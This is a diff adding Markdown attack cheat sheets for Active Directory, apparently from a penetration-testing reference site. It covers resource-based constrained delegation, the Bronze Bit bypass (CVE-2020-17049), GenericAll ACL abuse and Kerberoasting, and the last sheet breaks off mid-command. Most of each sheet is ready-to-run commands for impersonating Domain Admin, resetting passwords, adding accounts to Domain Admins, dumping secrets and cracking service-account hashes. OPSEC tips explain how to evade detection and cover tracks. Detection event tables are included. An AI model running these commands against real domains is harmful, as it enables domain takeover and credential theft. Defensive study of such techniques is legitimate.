corp.local/'FAKEMACHINE$':'FakePass123!' + +# ── Use the ticket ──────────────────────────────────────────────────────────── +export KRB5CCNAME=Administrator@cifs_TARGET.corp.local@CORP.LOCAL.ccache + +psexec.py -k -no-pass corp.local/Administrator@TARGET.corp.local +wmiexec.py -k -no-pass corp.local/Administrator@TARGET.corp.local +secretsdump.py -k -no-pass corp.local/Administrator@TARGET.corp.local +smbclient.py -k -no-pass corp.local/Administrator@TARGET.corp.local +``` + +```powershell +# ── Rubeus S4U ──────────────────────────────────────────────────────────────── +# First get FAKEMACHINE's hash: +.\Rubeus.exe hash /password:FakePass123! /user:FAKEMACHINE$ /domain:corp.local +# rc4_hmac: <hash> + +.\Rubeus.exe s4u \ + /user:FAKEMACHINE$ \ + /rc4:<FAKEMACHINE_HASH> \ + /impersonateuser:Administrator \ + /msdsspn:cifs/TARGET.corp.local \ + /ptt + +dir \\TARGET.corp.local\C$ +``` + +### 🔴 Step 5 — Cleanup + +```bash +# ── Remove RBCD configuration ──────────────────────────────────────────────── +rbcd.py -delegate-to 'TARGET$' -action flush \ + -dc-ip 10.10.10.10 corp.local/low_user:'Password1' + +# ── Delete machine account (if desired) ─────────────────────────────────────── +addcomputer.py -computer-name 'FAKEMACHINE$' -computer-pass 'FakePass123!' \ + -dc-ip 10.10.10.10 corp.local/low_user:'Password1' -delete +``` + +*** + +## 🎯 OPSEC Tips + +- **RBCD is the most commonly exploited delegation type** — no DA required, just GenericWrite on a computer +- **MachineAccountQuota = 10 by default** — almost always available for machine account creation +- **Cleanup is critical** — remove the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute and delete the machine account after exploitation +- **Protected Users group blocks delegation** — if Administrator is in Protected Users, impersonation will fail; target a different DA + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **5136** | Security Log (DC) | Modification of `msDS-AllowedToActOnBehalfOfOtherIdentity` | +| **4741** | Security Log (DC) | Computer account creation (MachineAccountQuota abuse) | +| **4769** | Security Log (DC) | S4U2Proxy TGS request | +| **4624** | Security Log | Network logon as impersonated user on target | + +*** + +## 🔗 Attack Chain Context + +``` +[RBCD] ──→ Compromise Any Computer You Can Write To + │ + ├──→ 🔑 GenericWrite on Computer → RBCD → impersonate DA → own that host + ├──→ 💻 GenericAll (#19) → RBCD is one of the exploitation methods + ├──→ 🏭 MAQ (#47) → create controlled machine accounts for RBCD + ├──→ 🔗 Chain: ACL abuse → RBCD → DCSync (if target is DC) + └──→ 💀 Defeated by: set MAQ=0, monitor 5136, Protected Users group +``` + +*** + +> ✅ **Attack #17 — RBCD complete.** diff --git a/src/content/sheets/active-directory/attack-18-bronze-bit-attack-cve-2020-17049.md b/src/content/sheets/active-directory/attack-18-bronze-bit-attack-cve-2020-17049.md @@ -0,0 +1,144 @@ +--- +title: "Attack #18 — Bronze Bit Attack (CVE-2020-17049)" +description: "The Bronze Bit attack exploits CVE-2020-17049, a vulnerability in the Kerberos Constrained Delegation mechanism. It allows an attacker to bypass the…" +category: active-directory +tags: ["active-directory", "kerberos", "delegation"] +tools: ["Impacket", "Mimikatz", "Rubeus"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Two/🟠 Attack #18 — Bronze Bit Attack (CVE-2020-17049).md" +--- +# 🟠 Attack #18 — Bronze Bit Attack (CVE-2020-17049) + +*** + +## 📖 How It Works + +The Bronze Bit attack exploits **CVE-2020-17049**, a vulnerability in the Kerberos Constrained Delegation mechanism. It allows an attacker to **bypass the "sensitive and cannot be delegated" account protection** and the **Protected Users group restriction** — two controls specifically designed to prevent delegation-based impersonation attacks. + +### The Vulnerability + +When a service account with Constrained Delegation performs S4U2Self to get a ticket on behalf of a protected user, the KDC correctly issues that ticket with the `forwardable` flag **unset** — preventing S4U2Proxy from working. However, the `forwardable` flag is stored inside the encrypted portion of the ticket, which is encrypted with the **service account's long-term key**. Since the attacker already has the service account's key (it's a prerequisite for the attack), they can: + +1. **Decrypt** the S4U2Self service ticket +2. **Flip the `forwardable` bit** from 0 to 1 +3. **Re-encrypt** the ticket +4. **Present it to the KDC** in an S4U2Proxy request + +The KDC sees the `forwardable` flag is set and processes the delegation request — **without re-validating whether the user is actually protected**. + +### Impact + +| Without Bronze Bit | With Bronze Bit | +|---|---| +| Cannot impersonate users in Protected Users group | ✅ CAN impersonate Protected Users | +| Cannot impersonate "sensitive and cannot be delegated" accounts | ✅ CAN impersonate sensitive accounts | +| Domain Admins marked sensitive are safe from delegation | ❌ Domain Admins are vulnerable again | + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Compromised Constrained Delegation account** | Hash, password, or AES key of a service with CD or RBCD | +| **Target is unpatched** | CVE-2020-17049 patches (Dec 2020 / Jan 2021) must NOT be installed on DCs | +| **Target user is "sensitive" or in Protected Users** | Otherwise, standard S4U2Proxy works without Bronze Bit | + +*** + +## 🛠️ Tools + +| Tool | Platform | Notes | +|---|---|---| +| **Impacket — getST.py** | Linux | `-force-forwardable` flag implements Bronze Bit | +| **Rubeus** | Windows | Manual ticket manipulation possible | +| **Mimikatz** | Windows | Ticket decryption and re-encryption | + +*** + +## 💻 Full Commands + +### 🔴 Impacket — getST.py with Bronze Bit (Linux) + +```bash +# ── Standard S4U attack (fails on protected users without Bronze Bit) ───────── +getST.py -spn CIFS/DC01.corp.local \ + -impersonate Administrator \ + -dc-ip 10.10.10.10 \ + corp.local/svc_constrained:'Password1' +# Error: KDC_ERR_BADOPTION — user is sensitive / in Protected Users + +# ── Bronze Bit bypass — force forwardable flag ──────────────────────────────── +getST.py -spn CIFS/DC01.corp.local \ + -impersonate Administrator \ + -dc-ip 10.10.10.10 \ + -force-forwardable \ + corp.local/svc_constrained:'Password1' + +# -force-forwardable = decrypts ticket, flips forwardable bit, re-encrypts +# Works even if Administrator is in Protected Users or marked "sensitive" + +# ── Using NT hash ───────────────────────────────────────────────────────────── +getST.py -spn CIFS/DC01.corp.local \ + -impersonate Administrator \ + -hashes :a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \ + -dc-ip 10.10.10.10 \ + -force-forwardable \ + corp.local/svc_constrained + +# ── Use the ticket ──────────────────────────────────────────────────────────── +export KRB5CCNAME=Administrator@CIFS_DC01.corp.local@CORP.LOCAL.ccache +psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local +secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local + +# ── RBCD + Bronze Bit combo ─────────────────────────────────────────────────── +# If you've set up RBCD (Attack #17) but the target user is protected: +getST.py -spn cifs/TARGET.corp.local \ + -impersonate Administrator \ + -dc-ip 10.10.10.10 \ + -force-forwardable \ + corp.local/'FAKEMACHINE$':'FakePass123!' +``` + +*** + +## 🎯 OPSEC Tips + +- **Bronze Bit only matters on unpatched DCs** — Microsoft patched this in late 2020/early 2021 +- **Always try standard S4U first** — only use `-force-forwardable` if you get `KDC_ERR_BADOPTION` +- **Check DC patch level** — if the DC is patched, Bronze Bit will fail and you'll need an alternative approach +- **Bronze Bit + RBCD** is a powerful combo — bypasses both the write-permission barrier and the protected-user barrier + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4769** | Security Log (DC) | S4U2Proxy request for a user that should be delegation-protected | +| **4768** | Security Log (DC) | TGT request associated with the constrained delegation account | + +**Primary detection:** If a user marked "sensitive and cannot be delegated" or in the Protected Users group successfully authenticates via delegation (Event 4624 with constrained delegation indicators), that's a Bronze Bit indicator. The DC **should** have rejected the delegation. + +*** + +## 🔗 Attack Chain Context + +``` +[Bronze Bit] ──→ Delegation Protection Bypass + │ + ├──→ 🔓 Bypasses "sensitive and cannot be delegated" flag + ├──→ 🛡️ Bypasses Protected Users group delegation restriction + ├──→ 🔗 Chain with: Constrained Delegation (#16), RBCD (#17) + ├──→ 📋 CVE-2020-17049 — patched Dec 2020 / Jan 2021 + └──→ 💀 Defeated by: patch DCs, monitor for anomalous delegation events +``` + +*** + +> ✅ **Attack #18 — Bronze Bit complete.** + +*** + +> 🏁 **Category 2 — Kerberos Abuse is now COMPLETE (8/8 attacks).** diff --git a/src/content/sheets/active-directory/attack-19-genericall-abuse.md b/src/content/sheets/active-directory/attack-19-genericall-abuse.md @@ -0,0 +1,335 @@ +--- +title: "Attack #19 — GenericAll Abuse" +description: "GenericAll is the most dangerous misconfigured ACL permission in Active Directory. It grants a principal (user, group, or computer) full control over a…" +category: active-directory +tags: ["active-directory", "kerberos", "adcs", "delegation", "privilege-escalation"] +tools: ["NetExec", "Impacket", "Rubeus", "Certipy", "BloodHound"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Three/🟡 Attack #19 — GenericAll Abuse.md" +--- +# 🟡 Attack #19 — GenericAll Abuse + +*** + +## 📖 How It Works + +GenericAll is the **most dangerous misconfigured ACL permission in Active Directory**. It grants a principal (user, group, or computer) **full control** over a target AD object — equivalent to owning it entirely. When a low-privileged user has GenericAll over a high-value target (Domain Admin account, privileged group, computer object, GPO, or OU), they can escalate to full domain compromise in a single move. + +The attack exploits the **Discretionary Access Control List (DACL)** that governs permissions on every AD object. DACLs contain Access Control Entries (ACEs) that define which principals can perform which operations on the object. A GenericAll ACE grants the equivalent of all individual permissions combined: read, write, delete, modify owner, modify DACL, reset password, write to any attribute, and add/remove group members. These misconfigurations are **extremely common** in enterprise environments — often introduced by helpdesk delegation, migration tools, Exchange setup, or administrators who didn't understand the permission model. + +### What GenericAll Lets You Do (By Target Type) + +| Target Object Type | What You Can Do | Impact | +|---|---|---| +| **User** | Reset their password, set SPN (Kerberoast), write to msDS-KeyCredentialLink (Shadow Credentials) | Full account takeover — if target is DA, you own the domain | +| **Group** | Add yourself (or any user) as a member | Instant privilege escalation — add yourself to Domain Admins | +| **Computer** | Write msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD), read LAPS password | Machine compromise, RBCD → impersonate any user to that host | +| **GPO** | Modify Group Policy — add scheduled tasks, startup scripts, user rights | Push malicious config to all machines linked to that GPO | +| **OU** | Modify inheritance, add malicious GPO links | Control all objects in the OU | +| **Domain Object** | Write to any domain-level attribute — DCSync ACE, modify trusts | Total domain compromise | + +### The Full Attack Flow + +``` +1. Gain initial foothold (any domain user account) +2. Run BloodHound or PowerView to enumerate ACLs +3. Identify GenericAll edges from your controlled principal to high-value targets +4. Exploit based on target object type: + - User → reset password or set Shadow Credentials + - Group → add yourself as a member + - Computer → configure RBCD or read LAPS +5. Escalate to Domain Admin +6. Optionally restore original ACL state to cover tracks +``` + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Domain user account** | Any authenticated domain user — GenericAll is the permission YOU already have | +| **GenericAll ACE on target** | Must exist in the target object's DACL — use BloodHound or PowerView to find it | +| **Network access to DC** | LDAP (389/636) access for ACL queries and modifications | + +*** + +## 🛠️ Tools + +| Tool | Platform | Notes | +|---|---|---| +| **BloodHound + SharpHound** | Windows/Linux | Visual attack path mapping — identifies GenericAll edges automatically | +| **PowerView** | Windows | `Get-ObjectAcl`, `Add-DomainGroupMember`, `Set-DomainUserPassword` | +| **Impacket — dacledit.py** | Linux | Edit DACLs remotely — add/remove ACEs from Linux | +| **Impacket — owneredit.py** | Linux | Change object ownership | +| **Impacket — addcomputer.py** | Linux | Create machine accounts (for RBCD exploitation) | +| **bloodyAD** | Linux | All-in-one AD exploitation — ACL abuse, password reset, group membership | +| **ldap_shell** | Linux | Interactive LDAP shell — for quick ACL exploitation | +| **Certipy** | Linux | Shadow Credentials exploitation when GenericAll on user/computer | + +*** + +## 💻 Full Commands + +### 🔵 Step 1 — Enumerate GenericAll Permissions + +#### BloodHound (Recommended — Visual Attack Paths) + +```powershell +# ── Collect data with SharpHound ────────────────────────────────────────────── +.\SharpHound.exe -c All --zipfilename bloodhound_data.zip +# Or +.\SharpHound.exe -c All,GPOLocalGroup --zipfilename bloodhound_data.zip + +# ── Upload to BloodHound and run queries: +# Pre-built query: "Find Shortest Paths to Domain Admins" +# Pre-built query: "Find Principals with DCSync Rights" +# Custom Cypher: Find all GenericAll edges from your user +# MATCH p=(n {name:'LOW_USER@CORP.LOCAL'})-[r:GenericAll]->(m) RETURN p +``` + +```bash +# ── Linux — BloodHound.py (remote collection without touching the target) ──── +bloodhound-python -u low_user -p 'Password1' -d corp.local -ns 10.10.10.10 \ + -c All --zip +# Upload the resulting .zip to BloodHound GUI +``` + +#### PowerView (Detailed ACL Enumeration) + +```powershell +# ── Find objects where your user has GenericAll ─────────────────────────────── +Import-Module .\PowerView.ps1 + +# Get ACLs where current user has GenericAll on any object +Get-ObjectAcl -Identity "Domain Admins" -ResolveGUIDs | + Where-Object { $_.ActiveDirectoryRights -match "GenericAll" } | + Select-Object SecurityIdentifier, ActiveDirectoryRights, ObjectDN + +# Resolve SIDs to names +Get-ObjectAcl -Identity "Domain Admins" -ResolveGUIDs | + Where-Object { $_.ActiveDirectoryRights -match "GenericAll" } | + ForEach-Object { + $_ | Add-Member -NotePropertyName "Principal" -NotePropertyValue ( + Convert-SidToName $_.SecurityIdentifier + ) -PassThru + } | Select-Object Principal, ActiveDirectoryRights, ObjectDN + +# ── Enumerate all ACL attack paths from a specific user ────────────────────── +Find-InterestingDomainAcl -ResolveGUIDs | + Where-Object { $_.IdentityReferenceName -match "low_user" } + +# ── Check specific object for dangerous ACEs ───────────────────────────────── +Get-ObjectAcl -SamAccountName "Administrator" -ResolveGUIDs | + Where-Object { $_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner|GenericWrite" } +``` + +*** + +### 🔴 Exploitation — GenericAll on a USER + +```powershell +# ══════════════════════════════════════════════════════════════════════════════ +# METHOD 1: Force Password Reset (loudest — generates 4724 event) +# ══════════════════════════════════════════════════════════════════════════════ + +# ── PowerView — reset the target user's password ────────────────────────────── +$NewPassword = ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force +Set-DomainUserPassword -Identity targetadmin -AccountPassword $NewPassword -Verbose + +# ── Native PowerShell (AD module) ───────────────────────────────────────────── +Set-ADAccountPassword -Identity targetadmin -NewPassword ( + ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force +) -Reset + +# ── net user ────────────────────────────────────────────────────────────────── +net user targetadmin P@ssword123! /domain + +# ══════════════════════════════════════════════════════════════════════════════ +# METHOD 2: Targeted Kerberoasting (stealthier — set SPN, roast, remove SPN) +# ══════════════════════════════════════════════════════════════════════════════ + +# Step 1: Set an SPN on the target user (requires GenericAll/GenericWrite) +Set-DomainObject -Identity targetadmin -Set @{serviceprincipalname='nonexist/YOURSPN'} + +# Step 2: Request TGS for the newly-set SPN (Kerberoast) +.\Rubeus.exe kerberoast /user:targetadmin /outfile:targeted_roast.txt + +# Step 3: Crack the hash offline +hashcat -m 13100 targeted_roast.txt rockyou.txt --force + +# Step 4: Remove the SPN (cover tracks) +Set-DomainObject -Identity targetadmin -Clear serviceprincipalname + +# ══════════════════════════════════════════════════════════════════════════════ +# METHOD 3: Shadow Credentials (stealthiest — write msDS-KeyCredentialLink) +# ══════════════════════════════════════════════════════════════════════════════ + +# Windows — Whisker +.\Whisker.exe add /target:targetadmin /domain:corp.local +# Whisker outputs a Rubeus command to request a TGT with the new credential +# Run the outputted command to get a TGT as targetadmin + +# Linux — pywhisker +python3 pywhisker.py -d corp.local -u low_user -p 'Password1' \ + --target targetadmin --action add --dc-ip 10.10.10.10 +# Then use the generated PFX certificate to authenticate: +# certipy auth -pfx <generated>.pfx -dc-ip 10.10.10.10 +``` + +```bash +# ── Linux — Reset password via Impacket / bloodyAD ──────────────────────────── + +# bloodyAD (simplest) +bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \ + set password targetadmin 'P@ssword123!' + +# Impacket — using rpcclient-style approach +net rpc password targetadmin 'P@ssword123!' -U 'corp.local/low_user%Password1' \ + -S DC01.corp.local + +# Impacket — ldap_shell for interactive exploitation +python3 ldap_shell.py corp.local/low_user:'Password1'@DC01.corp.local +# > set_password targetadmin P@ssword123! + +# Shadow Credentials from Linux +certipy shadow auto -u low_user@corp.local -p 'Password1' \ + -account targetadmin -dc-ip 10.10.10.10 +``` + +*** + +### 🔴 Exploitation — GenericAll on a GROUP + +```powershell +# ── Add yourself to Domain Admins ───────────────────────────────────────────── +# PowerView +Add-DomainGroupMember -Identity "Domain Admins" -Members "low_user" -Verbose + +# Native PowerShell +Add-ADGroupMember -Identity "Domain Admins" -Members "low_user" + +# net group +net group "Domain Admins" low_user /add /domain + +# ── Verify ──────────────────────────────────────────────────────────────────── +Get-ADGroupMember -Identity "Domain Admins" | Select-Object Name +net group "Domain Admins" /domain +``` + +```bash +# ── Linux — Add yourself to group ───────────────────────────────────────────── + +# bloodyAD +bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \ + add groupMember "Domain Admins" low_user + +# Impacket — ldap_shell +python3 ldap_shell.py corp.local/low_user:'Password1'@DC01.corp.local +# > add_user_to_group low_user "Domain Admins" + +# NetExec — verify +nxc smb DC01.corp.local -u low_user -p 'Password1' -x "whoami /groups" +``` + +*** + +### 🔴 Exploitation — GenericAll on a COMPUTER + +```powershell +# ══════════════════════════════════════════════════════════════════════════════ +# METHOD 1: Resource-Based Constrained Delegation (RBCD) +# ══════════════════════════════════════════════════════════════════════════════ + +# Step 1: Create a machine account (or use one you control) +New-MachineAccount -MachineAccount FAKEMACHINE -Password $(ConvertTo-SecureString 'FakePass123!' -AsPlainText -Force) + +# Step 2: Get the SID of your machine account +$ComputerSid = Get-DomainComputer FAKEMACHINE -Properties objectsid | Select -Expand objectsid + +# Step 3: Write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute +$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" +$SDBytes = New-Object byte[] ($SD.BinaryLength) +$SD.GetBinaryForm($SDBytes, 0) +Set-DomainObject -Identity TARGET_COMPUTER$ -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} + +# Step 4: S4U2Self + S4U2Proxy to impersonate DA to target +.\Rubeus.exe s4u /user:FAKEMACHINE$ /rc4:<FAKEMACHINE_HASH> \ + /impersonateuser:Administrator \ + /msdsspn:CIFS/TARGET_COMPUTER.corp.local /ptt + +# ══════════════════════════════════════════════════════════════════════════════ +# METHOD 2: Read LAPS Password (if LAPS is deployed) +# ══════════════════════════════════════════════════════════════════════════════ +Get-DomainComputer TARGET_COMPUTER -Properties ms-Mcs-AdmPwd +# Output: ms-Mcs-AdmPwd = <cleartext local admin password> +``` + +```bash +# ── Linux — RBCD exploitation ───────────────────────────────────────────────── + +# Step 1: Create machine account +addcomputer.py -computer-name 'FAKEMACHINE$' -computer-pass 'FakePass123!' \ + -dc-ip 10.10.10.10 corp.local/low_user:'Password1' + +# Step 2: Configure RBCD +rbcd.py -delegate-from 'FAKEMACHINE$' -delegate-to 'TARGET_COMPUTER$' \ + -action write -dc-ip 10.10.10.10 corp.local/low_user:'Password1' + +# Step 3: Get impersonated ticket via S4U +getST.py -spn cifs/TARGET_COMPUTER.corp.local -impersonate Administrator \ + -dc-ip 10.10.10.10 corp.local/'FAKEMACHINE$':'FakePass123!' + +# Step 4: Use the ticket +export KRB5CCNAME=Administrator@cifs_TARGET_COMPUTER.corp.local@CORP.LOCAL.ccache +psexec.py -k -no-pass corp.local/Administrator@TARGET_COMPUTER.corp.local +``` + +*** + +## 🎯 OPSEC Tips + +- **Prefer Shadow Credentials over password reset** — Shadow Credentials (writing msDS-KeyCredentialLink) are stealthier because the original user's password remains unchanged and they can still log in normally; password resets immediately alert the target user and generate Event 4724 +- **Targeted Kerberoasting is the middle ground** — setting a temporary SPN, roasting, and removing the SPN is stealthier than password reset but noisier than Shadow Credentials +- **Remove yourself from groups after** — if you add yourself to Domain Admins, extract what you need (KRBTGT hash via DCSync) and then remove yourself; the shorter the group membership window, the less likely detection +- **Check AdminCount** — users with `adminCount=1` are protected by AdminSDHolder; modifying their permissions may be reverted every 60 minutes +- **Log the original ACL state** — before modifying any ACLs for exploitation, save the original state so you can restore it to cover your tracks + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4724** | Security Log | Password reset attempt — monitor for non-helpdesk accounts resetting privileged user passwords | +| **4728** | Security Log | User added to a security-enabled global group — DA group modification | +| **4732** | Security Log | User added to a security-enabled local group | +| **4756** | Security Log | User added to a security-enabled universal group — Enterprise Admins | +| **5136** | Security Log | Directory service object modification — ACL changes, attribute writes (msDS-KeyCredentialLink, msDS-AllowedToActOnBehalfOfOtherIdentity) | +| **4662** | Security Log | Operation performed on an AD object — catches GenericAll usage | +| **4738** | Security Log | User account changed — SPN modification for targeted Kerberoasting | + +**Primary detection signature:** Monitor Event ID **5136** for modifications to sensitive attributes: `msDS-KeyCredentialLink` (Shadow Credentials), `msDS-AllowedToActOnBehalfOfOtherIdentity` (RBCD), and `servicePrincipalName` (targeted Kerberoasting). Combined with **4728** for unexpected Domain Admins group additions and **4724** for password resets of privileged accounts by non-privileged users. BloodHound's "Dangerous Rights" queries run defensively can identify these misconfigurations before attackers do. + +*** + +## 🔗 Attack Chain Context + +``` +[GenericAll Abuse] ──→ Direct Privilege Escalation + │ + ├──→ 👤 GenericAll on User → password reset / Shadow Creds / Kerberoast + ├──→ 👥 GenericAll on Group → add self to Domain Admins + ├──→ 💻 GenericAll on Computer → RBCD / LAPS password read + ├──→ 📋 GenericAll on GPO → push malicious Group Policy + ├──→ 🔑 After DA → DCSync (Attack #37) → Golden Ticket (Attack #11) + ├──→ 🔗 Chain with: WriteDACL (#21), WriteOwner (#22), RBCD (#17) + └──→ 💀 Defeated by: ACL auditing, least privilege, AdminSDHolder +``` + +**GenericAll is the most common ACL-based escalation path** found in real-world AD pentests. BloodHound consistently reveals GenericAll edges that organisations didn't know existed — often created years ago during migration, delegation setup, or Exchange installation. Run BloodHound defensively to find these paths before attackers do. + +*** + +> ✅ **Attack #19 — GenericAll Abuse complete.** diff --git a/src/content/sheets/active-directory/attack-2-kerberoasting.md b/src/content/sheets/active-directory/attack-2-kerberoasting.md @@ -0,0 +1,435 @@ +--- +title: "Attack #2 — Kerberoasting" +description: "Kerberoasting is a post-compromise, offline credential attack that abuses a fundamental design feature of the Kerberos protocol. When any authenticated…" +category: active-directory +tags: ["active-directory", "kerberos", "privilege-escalation", "sql-injection", "hashing"] +tools: ["NetExec", "Impacket", "Rubeus", "BloodHound", "Kerbrute"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-One/🔴 Attack #2 — Kerberoasting.md" +--- +# 🔴 Attack #2 — Kerberoasting + +*** + +## 📖 How It Works + +Kerberoasting is a **post-compromise, offline credential attack** that abuses a fundamental design feature of the Kerberos protocol. When any authenticated domain user requests a Ticket Granting Service (TGS) ticket for a Service Principal Name (SPN), the Domain Controller hands back that ticket **encrypted with the RC4 or AES hash of the service account's password**. The attacker requests that ticket, extracts the encrypted blob, takes it completely offline, and cracks it with Hashcat or John the Ripper — **no lockout, no noise, no network traffic during cracking**. + +The critical vulnerability is that **any domain user can request a TGS for any SPN** — no special privileges required. Service accounts (SQL, IIS, backup agents, etc.) are the primary targets because they frequently run with high privileges, rarely have their passwords rotated, and are often set with weak passwords that predate modern password policy enforcement. + +### The Full Attack Flow + +``` +1. Attacker obtains ANY valid domain user credentials (e.g., via Password Spraying) +2. Queries AD for all user accounts with an SPN set (servicePrincipalName attribute) +3. Requests TGS ticket(s) for each SPN from the KDC — this is LEGITIMATE Kerberos behaviour +4. Extracts the encrypted hash from the TGS ticket ($krb5tgs$23$... format for RC4) +5. Runs offline cracking with Hashcat/John against wordlists + rules +6. Recovers plaintext password → authenticates as high-privilege service account +``` + +The attack is dangerous precisely because **step 3 is indistinguishable from normal authentication**. A legitimate user requesting a TGS for MSSQL looks identical to an attacker doing the same thing. + +> ⚠️ **Windows Server 2022+ Behaviour:** Windows Server 2022 and later enforce Kerberos armoring (FAST) by default, which can complicate roasting. Additionally, newer environments are more likely to use AES-256 exclusively, making RC4 downgrade attacks harder. Always check the target's supported encryption types before committing to cracking; AES256 hashes take significantly longer to crack than RC4. + +**Chains with:** Attack #1 (Password Spraying for initial credentials), Lateral Movement (using recovered service account), DCSync (if service account has replication rights), Golden Ticket creation (if KRBTGT hash obtained). + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Domain user account** | Any valid low-privilege domain user is sufficient — no admin rights needed | +| **SPN-linked user accounts** | Target domain must have service accounts with SPNs (virtually universal) | +| **RC4 not disabled** | If AES-only is enforced, hash is harder but still crackable (AES128/256) | +| **Network access to DC** | Need to reach port 88 (Kerberos) or 389 (LDAP) on the DC | +| **Offline cracking rig** | GPU-accelerated Hashcat strongly preferred for time efficiency | + +*** + +## 🛠️ Tools + +| Tool | Platform | Notes | +|---|---|---| +| **Impacket — GetUserSPNs.py** | Linux | Most common Linux tool; requests + dumps TGS hashes in one command | +| **Rubeus** | Windows | Best Windows tool; supports RC4 downgrade, OPSEC mode, roast-all | +| **PowerView — Invoke-Kerberoast** | Windows | PowerShell; integrates cleanly into recon pipeline | +| **BloodHound** | Both | Enumerates Kerberoastable accounts graphically; shows path to DA | +| **Hashcat** | Linux/Windows | GPU-accelerated; mode `-m 13100` for RC4, `-m 19600/19700` for AES | +| **John the Ripper** | Linux | CPU-based alternative; good for quick cracks on small wordlists | +| **CrackMapExec / NetExec** | Linux | Can enumerate and dump SPNs with `--kerberoasting` flag | +| **Kerbrute — userenum for SPNs** | Linux | Can enumerate SPN accounts directly via Kerberos | +| **ldapsearch** | Linux | Direct LDAP query to find servicePrincipalName attributes (pre-roasting reconnaissance) | + +*** + +## 💻 Full Commands + +### 🔵 Step 0 — Enumerate SPN Accounts First + +```bash +# Linux — enumerate all accounts with SPNs (unauthenticated check) +ldapsearch -x -H ldap://10.10.10.10 -D "corp\low_user" -w 'Password1' \ + -b "DC=corp,DC=local" "(&(objectClass=user)(servicePrincipalName=*))" \ + sAMAccountName servicePrincipalName + +# Windows — PowerShell with AD module +Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName | \ + Select-Object SamAccountName, ServicePrincipalName + +# Windows — PowerView +Import-Module .\PowerView.ps1 +Get-DomainUser -SPN | Select-Object SamAccountName, ServicePrincipalName, Description, MemberOf + +# Count high-value roastable accounts (Domain Admins with SPN) +Get-ADGroupMember -Identity "Domain Admins" | Get-ADUser -Properties ServicePrincipalName | Where-Object {$_.ServicePrincipalName -ne $null} +``` + +*** + +### 🔴 Impacket — GetUserSPNs.py (Linux — Primary Tool) + +```bash +# Enumerate SPN accounts (no ticket request yet) +GetUserSPNs.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 + +# Request and dump ALL TGS hashes in one shot +GetUserSPNs.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 -request + +# Output hashes directly to file for cracking +GetUserSPNs.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 -request -outputfile kerberoast_hashes.txt + +# Target a SINGLE specific SPN account +GetUserSPNs.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 -request-user svc_sql + +# Using NTLM hash instead of plaintext password (Pass-the-Hash style) +GetUserSPNs.py corp.local/low_user -hashes :a87f3a337d73085c45f9416be5787d86 -dc-ip 10.10.10.10 -request + +# Using Kerberos ticket (ccache) authentication +export KRB5CCNAME=/tmp/user.ccache +GetUserSPNs.py corp.local/low_user -k -dc-ip 10.10.10.10 -request + +# Force RC4 downgrade (requests weaker hash, cracks faster) +GetUserSPNs.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 -request -no-preauth +``` + +> **Hash format you'll see:** `$krb5tgs$23$*svc_sql$CORP.LOCAL$...` → `23` = RC4 (fast to crack), `18` = AES256 (slower). + +*** + +### 🔴 Rubeus — Windows (Most Feature-Rich) + +```powershell +# Roast ALL kerberoastable accounts (dump hashes to console) +.\Rubeus.exe kerberoast + +# Output to file in hashcat format +.\Rubeus.exe kerberoast /outfile:hashes.txt + +# Target a single user account +.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql.hash + +# Force RC4 downgrade (etype:23) — faster to crack than AES +.\Rubeus.exe kerberoast /tgtdeleg /etype:rc4 + +# OPSEC-safe mode — roasts one at a time with delay to avoid bulk detection +.\Rubeus.exe kerberoast /nowrap /nopac + +# Use existing TGT from memory (avoids new auth event) +.\Rubeus.exe kerberoast /ticket:<base64_TGT> + +# Enumerate only — no ticket requests (just list SPNs) +.\Rubeus.exe kerberoast /stats + +# Targeted roasting — only Domain Admin accounts with SPN +.\Rubeus.exe kerberoast /ldapfilter:"(memberOf=CN=Domain Admins,CN=Users,DC=corp,DC=local)" /outfile:da_hashes.txt +``` + +*** + +### 🔴 PowerView — Invoke-Kerberoast (Windows) + +```powershell +Import-Module .\PowerView.ps1 + +# Basic roast — output hashes +Invoke-Kerberoast | fl + +# Output in Hashcat format (most common) +Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File -Encoding ascii hashes.txt + +# Output in John format +Invoke-Kerberoast -OutputFormat John | Select-Object -ExpandProperty Hash | Out-File -Encoding ascii hashes_john.txt + +# Filter for high-value targets only (Domain Admins group members with SPN) +Invoke-Kerberoast -Identity "Domain Admins" | fl + +# Target specific service accounts by description or name +Invoke-Kerberoast | Where-Object {$_.ServiceName -like "*SQL*" -or $_.ServiceName -like "*backup*"} +``` + +*** + +### 🔴 NetExec — Linux (Quick Sweep) + +```bash +# Kerberoast with authenticated user +nxc ldap 10.10.10.10 -u low_user -p 'Password1' --kerberoasting hashes.txt + 